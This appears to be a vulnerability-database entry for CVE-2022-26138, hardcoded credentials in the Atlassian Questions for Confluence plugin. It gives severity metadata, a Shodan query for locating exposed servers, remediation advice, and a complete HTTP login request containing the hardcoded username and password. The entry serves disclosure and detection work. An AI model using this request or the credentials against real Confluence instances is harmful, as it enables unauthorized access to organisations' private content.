| Title | Atlassian Questions For Confluence - Hardcoded Credentials |
|---|---|
| Author | HTTPVoid |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information and potential compromise of the Confluence instance. |
| Remediation | Update the Atlassian Questions For Confluence plugin to the latest version, which removes the hardcoded credentials. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94319 |
| CVE ID | CVE-2022-26138 |
| CWE ID | CWE-798 |
| Shodan Query | http.component:"Atlassian Confluence"http.component:"atlassian confluence" |
| Tags | cve2022 cve confluence atlassian default-login kev vkev vuln |
Atlassian Questions For Confluence contains a hardcoded credentials vulnerability. When installing versions 2.7.34, 2.7.35, and 3.0.2, a Confluence user account is created in the confluence-users group with the username disabledsystemuser and a hardcoded password. A remote, unauthenticated attacker with knowledge of the hardcoded password can exploit this vulnerability to log into Confluence and access all content accessible to users in the confluence-users group.
POST /dologin.action HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Content-Length: 114
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close
os_username=disabledsystemuser&os_password=disabled1system1user6708&login=Log+in&os_destination=%2Fhttpvoid.action
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-26138.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-26138.pcap
N/AN/A